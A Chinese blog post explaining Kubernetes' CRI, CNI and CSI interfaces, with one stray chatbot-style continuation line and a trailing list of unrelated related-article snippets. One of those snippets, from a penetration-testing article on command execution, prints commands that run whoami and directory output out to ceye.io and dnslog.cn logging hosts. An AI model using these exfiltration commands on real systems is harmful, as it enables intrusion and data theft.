Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时
引言
随着云原生技术的飞速发展,Kubernetes(简称K8s)作为云原生应用的核心调度平台,其重要性日益凸显。K8s通过开放一系列接口,实现了高度的可扩展性和灵活性,其中CRI(Container Runtime Interface)、CNI(Container Network Interface)和CSI(Container Storage Interface)是三个至关重要的接口。本文将深入探讨这三个接口的定义、原理、内部流程以及应用场景,帮助读者更好地理解K8s的架构与生态。
CRI简介
定义
CRI(Container Runtime Interface)是Kubernetes用来与容器运行时进行交互的标准接口。它定义了一套远程过程调用(RPC)API,这些API被用来管理容器的生命周期,包括容器的创建、启动、停止、删除以及查询状态等操作。CRI的主要目标是解耦Kubernetes的核心组件(如kubelet)与具体的容器运行时实现,从而允许Kubernetes支持多种容器运行时,如Docker、containerd、CRI-O等。
原理
CRI通过gRPC(Google Remote Procedure Call)协议进行通信,kubelet作为gRPC客户端,而容器运行时则实现gRPC服务器。具体来说,CRI服务包含两个关键的服务:RuntimeService
和ImageService
。
-
RuntimeService:负责容器和Sandbox(即Pod级别的容器)的运行时管理,包括容器的创建、启动、停止、删除以及状态查询等操作。
-
ImageService:提供与镜像相关的操作,如从镜像仓库拉取镜像、查看镜像列表、移除镜像等。
当kubelet需要执行容器相关操作时,它会通过CRI接口向容器运行时发送请求,容器运行时则根据请求执行相应的操作,并通过gRPC响应给kubelet。
内部流程
- Pod创建:当一个新的Pod被创建时,kubelet首先通过CRI的
RuntimeService
请求容器运行时创建一个或多个容器。容器运行时根据Pod的定义(如镜像、命令、环境变量等)创建容器,并返回容器的ID和状态。 - 容器启动:kubelet继续通过CRI的
RuntimeService
发送启动容器的请求。容器运行时启动容器,并设置必要的网络和存储配置(这些配置可能通过CNI和CSI接口实现)。 - 状态查询:kubelet定期通过CRI的
RuntimeService
查询容器的状态,以确保Pod的健康运行。 - 停止和删除:当Pod被删除时,kubelet通过CRI的
RuntimeService
发送停止和删除容器的请求,容器运行时执行相应的操作并清理资源。
应用场景
CRI的引入极大地提高了Kubernetes的灵活性和可扩展性。通过支持多种容器运行时,Kubernetes用户可以根据自己的需求选择合适的运行时,从而优化性能、降低成本或满足特定的安全需求。例如,containerd以其轻量级和高效性成为Kubernetes推荐的容器运行时之一,而CRI-O则专注于与Kubernetes的紧密集成和安全性。
CNI简介
定义
CNI(Container Network Interface)是Kubernetes中用来实现Pod网络功能的标准接口。它定义了一组规范,描述了容器如何通过插件与不同的网络实现进行交互。CNI的目标是简化容器化应用的网络配置和管理,使其能够在各种网络环境中高效运行。
原理
CNI通过插件机制实现网络配置的灵活性。每个CNI插件都实现了CNI规范定义的接口,包括添加网络、删除网络、添加网络列表和删除网络列表四个基本方法。当Pod被创建或删除时,Kubernetes会调用配置的CNI插件来分配或回收网络资源(如IP地址、路由规则等)。
内部流程
- Pod创建:当一个新的Pod被创建时,kubelet会调用CNI插件的
ADD
方法,请求为Pod分配网络资源。CNI插件根据配置(如网络类型、子网等)为Pod创建网络接口、设置网络命名空间、配置路由规则等。 - 网络配置:CNI插件通过调用操作系统底层的网络接口(如iptables、bridge等)来实现具体的网络配置。配置完成后,CNI插件返回网络配置信息给kubelet。
- Pod删除:当Pod被删除时,kubelet会调用CNI插件的
DEL
方法,请求回收分配给Pod的网络资源。CNI插件执行相应的清理工作,如删除网络接口、恢复路由规则等。
应用场景
CNI为Kubernetes提供了丰富的网络选项,使得用户可以根据自己的需求选择合适的网络插件。常见的CNI插件包括Flannel、Calico、Weave和Cilium等。这些插件提供了不同的网络模型和功能,如覆盖网络、网络策略、安全功能等。通过CNI,Kubernetes可以无缝集成各种网络解决方案,为容器化应用提供高效、安全的网络通信能力。
当然,让我们继续深入探讨CSI(Container Storage Interface)的相关内容,以完成这篇关于Kubernetes中CRI、CNI与CSI的博文。
CSI简介
定义
CSI(Container Storage Interface)是一个用于将块存储系统和文件存储系统暴露给Kubernetes的标准接口。它定义了一套API,使得存储插件能够以一种标准化的方式与Kubernetes集成,从而提供动态的存储卷管理和使用能力。通过CSI,Kubernetes可以动态地创建、挂载、卸载和删除存储卷,而无需重新启动容器或Pod。
原理
CSI通过一组gRPC服务来实现其功能,这些服务由存储插件提供,并由Kubernetes的外部CSI Sidecar容器(通常是csi-provisioner、csi-attacher、csi-resizer和csi-snapshotter等)调用。这些Sidecar容器作为Kubernetes中的控制器运行,它们与CSI插件通信以执行存储操作。
CSI服务主要包括以下几个部分:
- Identity Service:用于插件注册和识别,确保插件的身份和功能符合CSI标准。
- Controller Service:处理与存储卷生命周期管理相关的操作,如创建、删除、克隆和扩展存储卷。
- Node Service:处理与节点上存储卷挂载和卸载相关的操作,确保Pod可以访问其存储卷。
内部流程
- 存储卷请求:当Kubernetes中的Pod需要挂载存储卷时,它会通过PersistentVolumeClaim(PVC)向系统请求存储资源。
- 卷供应:Kubernetes的CSI Sidecar(如csi-provisioner)监听PVC的创建事件,并通过CSI的Controller Service请求存储插件创建一个新的存储卷。存储插件根据请求创建存储卷,并返回存储卷的标识符和相关信息。
- 卷绑定:csi-provisioner将返回的存储卷标识符与PVC绑定,并创建相应的PersistentVolume(PV)对象以表示该存储卷。
- 卷挂载:当Pod被调度到某个节点上时,kubelet调用CSI的Node Service请求在该节点上挂载存储卷。存储插件执行挂载操作,并返回挂载点的路径。
- Pod访问存储:kubelet将挂载点的路径配置到Pod中,Pod中的应用程序就可以通过挂载点访问存储卷了。
- 卷卸载与删除:当Pod被删除时,kubelet会调用CSI的Node Service请求卸载存储卷。随后,如果PVC也被删除,csi-provisioner将调用CSI的Controller Service请求删除存储卷。
应用场景
CSI的引入极大地丰富了Kubernetes的存储生态,使得用户能够轻松地将各种存储系统(包括云存储、SAN/NAS存储和本地存储等)集成到Kubernetes中。通过CSI,用户可以享受到以下好处:
- 动态存储供应:无需手动创建和配置存储卷,Kubernetes可以根据Pod的需求自动供应存储资源。
- 存储卷管理:支持存储卷的扩展、克隆和快照等功能,提高了存储资源的管理效率和灵活性。
- 多存储系统支持:通过编写不同的CSI插件,可以支持多种存储系统,满足不同的存储需求。
- 标准化接口:CSI提供了一个标准化的接口,使得存储插件的开发和集成变得更加简单和高效。
总结
CRI、CNI和CSI是Kubernetes中至关重要的三个接口,它们分别负责容器运行时、网络和存储的标准化集成。通过这些接口,Kubernetes实现了高度的可扩展性和灵活性,使得用户可以轻松地集成不同的容器运行时、网络插件和存储系统。随着云原生技术的不断发展,CRI、CNI和CSI将继续在Kubernetes的架构和生态中扮演着重要的角色。希望本文能够帮助读者更好地理解这三个接口的定义、原理、内部流程以及应用场景,为在Kubernetes中高效地使用和管理容器、网络和存储资源提供有益的参考。
相关文章:

Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时
引言 随着云原生技术的飞速发展,Kubernetes(简称K8s)作为云原生应用的核心调度平台,其重要性日益凸显。K8s通过开放一系列接口,实现了高度的可扩展性和灵活性,其中CRI(Container Runtime Inter…...

【数据结构】二叉搜索树(Java + 链表实现)
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构、LeetCode专栏 📚本系…...
java Brotli压缩算法实现压缩、解压缩
在Java中实现Brotli压缩和解压缩,你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码: 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...
centos7.9 安装java相关组件
10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...

在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:
在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现: 1. 使用快捷键 Alt 7 操作说明:在IDEA中,按下Alt 7可以快速打开“Structure”窗口(在…...
ChatGPT的强大之处:探究及与国内产品的对比
论文题目:ChatGPT的强大之处:探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型,自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大,并对比其与国内类似产品的优劣,深…...

MySql审计平台
安装方式: cookieY/Yearning: 🐳 A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议,帮助用户优化SQL语句,以获得更好的性能。同时AI助手还提供文本到SQL的…...

深度学习6--深度神经网络
1.VGG网络 在图像分 类这个领域中,深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为,卷积模块是对 图像特征的提取,并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...

有了Power BI还需要深入学习Excel图表制作吗?
Power BI和Excel都是微软公司的产品,但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具,它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据,并且可以连接到多种数…...

WEB渗透Web突破篇-命令执行
命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...

【MYSQL】表操作
目录 查看当前数据库含有表查看表结构创建表插入(新增create)查询(retrieve)全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...

破解USB设备通讯协议实现自定义软件控制的步骤与方法
在设备和计算机之间通过USB进行通讯的情况下,厂家提供的软件可以控制设备,但没有提供任何其他资料和支持,这种情况下,若希望自行开发软件来实现同样的功能,可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...
FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析
一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码(本文演示用的FFmpeg源码版本为7.0.1)的源文件libavcodec/avpacket.c中: /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...

HarmonyOS应用开发知识地图
HarmonyOS 应用开发旅程 HarmonyOS 应用开发旅程 PS:Xmind原文件可以直接跳转官方具体文档地址,如需要原文件请联系:DYZZ198 01.准备与学习 学习 HarmonyOS 的基本概念和架构,搭建好所需的开发工具和环境,了解开发规范和最佳实践 了解 H…...

了解反向代理如何工作吗?
在当今数字化时代,网络通讯扮演着重要的角色,而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术,代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理,深入探讨其在网络通讯…...

ASCII码对照表
常用 ASCII 码详细对照表 (0—255) 第 0~32 号及第 127 号(共 34 个)是控制字符或通讯专用字符,如控制符:LF (换行)、CR(回车)、FF(换页)、DEL&am…...

Git的一些简单使用
下列内容适用于git初学者,从创建本地git仓库到提交的一个基本过程1. 1.创建git仓库 在想创建git仓库的路径下打开git bash,输入以下命令行创建仓库(一般来说,我觉得直接在code workspace得地方创建git仓库就可以了,这…...

C++基础语法(下)
前言 上一篇文章介绍了部分的引用,这里主要对引用的特点,引用与指针区别的进行区分,const引用权限的使用,内联函数的讲解。 引用特性 引用在定义时必须进行初始化一个变量可以有多个引用引用一旦引用一个实体,再不能…...

UKP3d创建斜管的操作
用户问:需要插入两个60的弯头,怎么操作啊? 以前我的回复算X,Y,Z相对空间坐标,适用于任何情况,有些难为用户。若是非特定角度,算起来又要下一翻功夫。 在UKP3d里提供了吸附任意角度的功能,任意角…...

【已解决】如何获取到DF数据里最新的调薪时间,就是薪资最高且时间最早?
问题说明: 前几天在Python最强王者交流群【群除我佬】问了一个Pandas处理的问题,这里拿出来给大家分享下。 看上去不太好理解,其实说白了,就是在工资最高里,再找时间最早的。 换句话说就是,这三个人&…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...
uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖
在前面的练习中,每个页面需要使用ref,onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入,需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...